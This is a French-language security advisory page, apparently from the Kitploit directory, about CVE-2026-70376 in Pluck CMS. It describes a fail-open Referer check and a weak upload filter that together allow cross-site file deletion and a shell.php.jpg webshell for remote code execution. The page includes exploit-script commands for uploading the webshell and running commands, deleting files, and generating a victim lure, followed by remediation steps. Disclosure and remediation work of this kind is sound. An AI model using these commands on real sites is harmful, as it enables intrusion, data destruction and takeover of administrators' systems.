Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-70376 — Avis de sécurité et PoC Python pour Pluck CMS CSRF : une vérification du Referer en fail-open associée à un téléversement à double extension permet le déploiement d'un webshell et l'exécution de code à distance. | Kitploit
Outils/GitHubGitHub/ilhomjonr/cve-2026-70376
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionApprentissage et Éducation
GitHubilhomjonr/cve-2026-70376

CVE-2026-70376

Avis de sécurité et PoC Python pour Pluck CMS CSRF : une vérification du Referer en fail-open associée à un téléversement à double extension permet le déploiement d'un webshell et l'exécution de code à distance.

Voir le dépôt
il y a 8 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-70376 — CSRF à l'échelle du site sur Pluck CMS → RCE

Vérification Referer en fail-open + absence de jetons CSRF + téléversement à double extension

Une seule visite de page d'un administrateur supprime du contenu, injecte des pages et dépose un webshell

CVE CVSS 3.1 CWE CWE

Product Status Researcher

En bref · Résumé · Cause racine · Chaîne d'attaque · Exploit · Remédiation · Chronologie


📋 En bref


🔎 Résumé

Le panneau d'administration de Pluck ne comporte aucun jeton CSRF par requête, nulle part dans le code. Chaque action d'administration modifiant l'état est protégée par une seule fonction, requestedByTheSameDomain(), dont la seule défense est une comparaison de l'hôte du Referer — et cette vérification échoue en mode fail-open : lorsqu'une requête arrive sans en-tête Referer du tout, la fonction renvoie true et l'action est autorisée.

Comme une page attaquante contrôle entièrement l'envoi ou non d'un Referer (<meta name="referrer" content="no-referrer">), tout administrateur connecté qui visite une page malveillante peut être contraint d'exécuter des actions privilégiées en cross-site. Plusieurs actions destructrices s'exécutent en GET, et Pluck ne définit aucun attribut SameSite sur PHPSESSID (les navigateurs appliquent SameSite=Lax, qui est tout de même transmis lors des navigations GET de premier niveau). Elles sont donc accessibles en cross-site avec les paramètres de navigateur par défaut.

Une faiblesse secondaire du filtre de téléversement permet au même CSRF de déposer un fichier à double extension shell.php.jpg — transformant le CSRF en RCE par drive-by sur les hôtes Apache/mod_php.


🧬 Cause racine

1. Vérification Referer en fail-open — data/inc/functions.admin.php

root@kitploit:~
function requestedByTheSameDomain() {
    if (isset($_SERVER['HTTP_HOST'])) { $myDomain = $_SERVER['HTTP_HOST']; }
    elseif (isset($_SERVER['SCRIPT_URI'])) { $myDomain = $_SERVER['SCRIPT_URI']; }
    else { $myDomain = NULL; }

    if (isset($_SERVER['HTTP_REFERER'])) { $requestsSource = $_SERVER['HTTP_REFERER']; }
    else { $requestsSource = NULL; }

    $referelDomain = parse_url($requestsSource, PHP_URL_HOST);

    if ($myDomain != NULL && $requestsSource != NULL &&
        (strcmp(trim($myDomain), trim($referelDomain)) === 0)) {
        return true;                 // Referer host == our host  -> allow
    } elseif ($myDomain == NULL || $requestsSource == NULL) {
        show_error("Be carefull with clicking links, ...", 1);
        return true;                 // Referer ABSENT -> FAIL OPEN -> allow  <==
    } else {
        return false;                // Referer host mismatch -> block
    }
}

Une requête cross-site avec un Referer étranger est correctement rejetée (branche else), ce qui crée une fausse impression de protection — mais l'attaquant se contente de supprimer le Referer, atteint la branche fail-open, et la requête est autorisée. Aucune couche de jeton ne vient derrière cette vérification.

Le contrôle est appliqué une seule fois dans admin.php et fait foi pour l'intégralité du switch d'actions :

root@kitploit:~
$isCSRF = requestedByTheSameDomain();
if (isset($_GET['action']) && $isCSRF) {
    switch ($_GET['action']) {
        case 'deletefile':  include_once('data/inc/deletefile.php');  break;
        case 'deleteimage': include_once('data/inc/deleteimage.php'); break;
        case 'deletepage':  include_once('data/inc/deletepage.php');  break;
        case 'module_delete': /* ... */
        case 'images':      include_once('data/inc/images.php');      break; // upload
        // ...
    }
}

2. Absence de SameSite sur le cookie de session (amplificateur)

Pluck n'appelle jamais session_set_cookie_params(), donc PHPSESSID hérite de la valeur par défaut vide → les navigateurs appliquent SameSite=Lax, qui est tout de même transmis lors des navigations GET de premier niveau. Les actions exposées en GET (deletefile, deleteimage, deletepage, module_delete, theme_delete, logout) sont donc forgeables en une seule visite de page.

3. Téléversement à double extension — data/inc/images.php (amplificateur RCE)

root@kitploit:~
if (in_array($_FILES['imagefile']['type'],                       // client-controlled MIME
    array('image/pjpeg','image/jpeg','image/png','image/gif'))) {
    $imagewhitelist = array('jfif', '.png', '.jpg', '.gif', 'jpeg');
    if (!in_array(strtolower(substr($_FILES['imagefile']['name'], -4)), $imagewhitelist)) {
        show_error($lang['general']['upload_failed'], 1);         // only checks LAST 4 chars
    } else {
        copy($_FILES['imagefile']['tmp_name'], 'images/'.latinOnlyInput($_FILES['imagefile']['name']));
        // ...
    }
}

Les deux vérifications sont trivialement contournables :

  • le type MIME provient du client ($_FILES[...]['type']) → définir image/jpeg ;
  • seuls les 4 derniers caractères du nom de fichier sont validés → shell.php.jpg se termine par .jpg et passe.

Le fichier est écrit dans images/shell.php.jpg ; sur un hôte Apache/mod_php avec gestion des extensions multiples, il s'exécute en PHP.


⛓️ Chaîne d'attaque

Une seule visite de page d'un administrateur authentifié — aucun clic.

root@kitploit:~
flowchart LR
    A[Admin logged into Pluck] --> B[Opens attacker page]
    B --> C["meta referrer=no-referrer<br/>suppresses Referer"]
    C --> D[Top-level nav / auto-form to admin.php]
    D --> E["Lax PHPSESSID cookie rides along<br/>Referer absent"]
    E --> F["requestedByTheSameDomain() -> FAIL OPEN -> true"]
    F --> G1[deletefile / deletepage -> destruction / DoS]
    F --> G2[editpage -> stored-content injection]
    F --> G3["images upload -> shell.php.jpg -> RCE"]

Les actions forgeables incluent :


💥 Exploit

Une boîte à outils PoC fonctionnelle se trouve dans exploit/ :

  • pluck_csrf_rce.py — prouver la logique fail-open, téléverser un webshell par CSRF et exécuter des commandes, supprimer des fichiers par CSRF, ou générer un leurre.
  • csrf_poc.html — la page drive-by autonome livrée à un administrateur victime.
root@kitploit:~
pip install requests

# Prove the fail-open Referer logic
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' probe

# CSRF-upload a webshell and get RCE
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' shell --run 'id'
#   -> http://127.0.0.1/pluck/images/shell.php.jpg?c=id

# Destructive primitive: delete a file cross-site
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' delete secret.txt

# Generate the drive-by lure for a victim admin's browser
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck lure --action shell -o lure.html

Les requêtes Python envoient délibérément aucun Referer, reproduisant exactement un navigateur victime soumis à une politique no-referrer. Une asymétrie au niveau HTTP qui confirme la logique :

root@kitploit:~
Referer: http://attacker.example   ->  action BLOCKED   (else branch)
(no Referer header)                 ->  action SUCCEEDED  *** CSRF bypassed ***

⚠️ L'étape .php.jpg → RCE nécessite un hôte Apache/mod_php qui exécute les fichiers à extensions multiples via PHP. Si cela n'est pas configuré, le téléversement CSRF réussit quand même et les primitives destructrices delete/deletepage ne sont pas affectées — le CSRF est le bug principal ; la RCE est l'amplificateur.


🛠️ Remédiation

  1. Ajoutez un véritable jeton CSRF — un nonce aléatoire par session dans chaque formulaire d'administration et sur chaque lien modifiant l'état, vérifié côté serveur avec une comparaison en temps constant. C'est la véritable correction ; la vérification du Referer n'est pas un substitut.
  2. Échec en mode fermé (fail-closed) — si la validation d'origine est conservée comme défense en profondeur, considérez un Referer/Origin absent comme non fiable. Privilégiez l'en-tête Origin et rejetez la requête lorsqu'il est manquant ou ne correspond pas.
  3. Ne modifiez jamais l'état en GET — déplacez deletefile, deletepage, logout, etc. en POST afin que SameSite=Lax fournisse une protection de base.
  4. Renforcez le cookie de session — définissez SameSite=Strict (ou Lax), HttpOnly et Secure via session_set_cookie_params().

🕒 Chronologie

Date

📚 Références

  • CVE-2026-70376 — https://www.cve.org/CVERecord?id=CVE-2026-70376
  • CWE-352: Cross-Site Request Forgery — https://cwe.mitre.org/data/definitions/352.html
  • CWE-434: Unrestricted Upload of File with Dangerous Type — https://cwe.mitre.org/data/definitions/434.html
  • Pluck CMS — https://github.com/pluck-cms/pluck

⚖️ Avertissement

Ce contenu est publié à des fins éducatives et défensives et uniquement pour des tests de sécurité autorisés. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation écrite explicite de test. L'auteur décline toute responsabilité en cas d'utilisation abusive.

Découvert & documenté par @IlhomjonR · CVE-2026-70376 · PT-2026-68036

Télécharger l’outil
Identifiant CVECVE-2026-70376
Identifiant de suiviPT-2026-68036
Produitpluck-cms/pluck — Pluck CMS (PHP à fichiers plats)
Versions affectées4.7.x jusqu'à 4.7.21-dev / master actuel
FaiblesseCWE-352 (CSRF) · CWE-434 (téléversement sans restriction, amplificateur)
CVSS v3.18.0 — Élevée · AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H
VecteurRéseau · aucun privilège · une visite de page d'administrateur (UI:R)
ImpactDestruction de contenu/DoS, injection de contenu stocké, RCE sur Apache/mod_php
Introductioncommit f79f916 (déc. 2019) — logique vulnérable présente depuis
ChercheurIlhomjon Rustamov (@IlhomjonR)
ActionMéthodeImpact
admin.php?action=deletefile&var1=<f>GETSupprime un fichier téléversé arbitraire
admin.php?action=deletepage&...GETSupprime les pages du site (DoS)
admin.php?action=module_delete&...GETRetire des modules
admin.php?action=logoutGETDéconnecte l'administrateur
admin.php?action=editpagePOSTInjecte du contenu de page stocké
admin.php?action=images (téléversement)POSTDépose shell.php.jpg → RCE
  • Corrigez le filtre de téléversement — validez le nom de fichier final enregistré par rapport à une liste blanche d'extensions exactes, vérifiez le véritable contenu de l'image et ne vous fiez jamais au type MIME fourni par le client.
  • Événement
    2019-12Logique vulnérable requestedByTheSameDomain() introduite (f79f916)
    2026-07-08Découverte lors d'un audit du code source ; PoC de bout en bout vérifié
    2026-08-10Avis de sécurité rédigé (PT-2026-68036)
    2026-08-12CVE-2026-70376 attribuée ; avis + PoC publiés